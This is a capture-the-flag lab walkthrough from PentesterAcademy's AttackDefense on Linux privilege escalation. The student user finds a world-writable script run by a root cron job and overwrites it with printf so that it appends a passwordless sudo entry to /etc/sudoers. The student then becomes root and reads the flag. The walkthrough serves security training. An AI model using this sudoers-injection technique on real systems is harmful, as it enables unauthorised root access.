
ATTACK
DEFENSE
by PentesterAcademy

Name	Cron Jobs Gone Wild II
URL	https://www.attackdefense.com/challengedetails?cid=77
Type	Privilege Escalation : Linux

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: There is a “message” file in the home directory of student user. Only root user has permissions on this file. So, student user can’t even read it.

Command: ls -l

```
student@attackdefense:~$ ls -l
total 4
-rw------- 1 root root 26 Sep 23 18:14 message
student@attackdefense:~$
student@attackdefense:~$
student@attackdefense:~$ cat message
cat: message: Permission denied
student@attackdefense:~$
```

Step 2: Find if a file with the same name exists on the system.

Command: find / -name message

```
student@attackdefense:~$ find / -name message
find: '/root': Permission denied
/home/student/message
find: '/proc/tty/driver': Permission denied
find: '/proc/12/task/12/fd': Permission denied
find: '/proc/12/task/12/fdinfo': Permission denied
find: '/proc/12/task/12/ns': Permission denied
find: '/proc/12/fd': Permission denied
find: '/proc/12/map_files': Permission denied
find: '/proc/12/fdinfo': Permission denied
find: '/proc/12/ns': Permission denied
find: '/etc/ssl/private': Permission denied
/tmp/message
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
```

Step 3: Observe that a file with the same name is present in /tmp directory. On checking closely, it is clear that this file is being overwritten every minute.

Command: ls -l /tmp/

```
student@attackdefense:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 root root 26 Nov  9 06:11 message
student@attackdefense:~$
student@attackdefense:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 root root 26 Nov  9 06:12 message
student@attackdefense:~$
```

Step 4: This means there is some script/binary which is copying this file from student home directory to /tmp directory. Search for that script. If this script is doing simple copy operation, it must have source destination of the file in it. Try to locate that by using grep command.

On trying on different directories one by one (i.e. /, /etc, /opt) and on /usr directory, a match has been found.

Command: grep -nri “/tmp/message” /usr

```
student@attackdefense:~$ grep -nri "/tmp/message" /usr
/usr/local/share/copy.sh:2:cp /home/student/message /tmp/message
/usr/local/share/copy.sh:3:chmod 644 /tmp/message
student@attackdefense:~$
```

Step 5: Check the permissions on this script file and its contents.

Commands
ls -l /usr/local/share/copy.sh
cat /usr/local/share/copy.sh

```
student@attackdefense:~$ ls -l /usr/local/share/copy.sh
-rwxrwxrwx 1 root root 74 Sep 23 18:14 /usr/local/share/copy.sh
student@attackdefense:~$
student@attackdefense:~$ cat /usr/local/share/copy.sh
#! /bin/bash
cp /home/student/message /tmp/message
chmod 644 /tmp/message
student@attackdefense:~$
```

Step 6: As the script file is writable by current “student” user, it can be modified to execute our commands. This script is executed by root cron job, so it can do privileged operation.

But, the file can’t be modified directly as there is no text editor on the system.

```
student@attackdefense:~$ vim /usr/local/share/copy.sh
bash: vim: command not found
student@attackdefense:~$ vi /usr/local/share/copy.sh
bash: vi: command not found
student@attackdefense:~$ nano /usr/local/share/copy.sh
bash: nano: command not found
student@attackdefense:~$
```

Step 7: Use printf to replace the original code with the following lines.

Code: printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh

On execution, these lines will add a new entry to /etc/sudoers file which will allow the student user to use sudo without providing any password.

Command: cat /usr/local/share/copy.sh

```
student@attackdefense:~$ printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
student@attackdefense:~$
student@attackdefense:~$ cat /usr/local/share/copy.sh
#! /bin/bash
echo "student ALL=NOPASSWD:ALL" >> /etc/sudoersstudent@attackdefense:~$
student@attackdefense:~$
```

Step 8: Check current sudoers list.

Command: sudo -l

```
student@attackdefense:~$ sudo -l
Matching Defaults entries for student on attackdefense:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/cron
student@attackdefense:~$
```

Step 9: There are no new entries. So, wait for 1 minute (i.e. the cron job runs every 1 minute) and check the sudoers list again. This time new entry is there.

Command: sudo -l

```
student@attackdefense:~$ sudo -l
Matching Defaults entries for student on attackdefense:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User student may run the following commands on attackdefense:
    (root) NOPASSWD: /etc/init.d/cron
    (root) NOPASSWD: ALL
student@attackdefense:~$
```

Step 10: Switch to the root user using sudo.

Command: sudo su

```
student@attackdefense:~$ sudo su
root@attackdefense:/home/student# whoami
root
```

Step 11: Collect the flag from the root directory.

Commands:
cd /root
ls -l
cat flag

```
root@attackdefense:/home/student# cd /root
root@attackdefense:~# ls -l
total 4
-rw-r--r-- 1 root root 33 Nov  2 16:16 flag
root@attackdefense:~# cat flag
697914df7a07bb9b718c8ed258150164
root@attackdefense:~#
```

Flag: 697914df7a07bb9b718c8ed258150164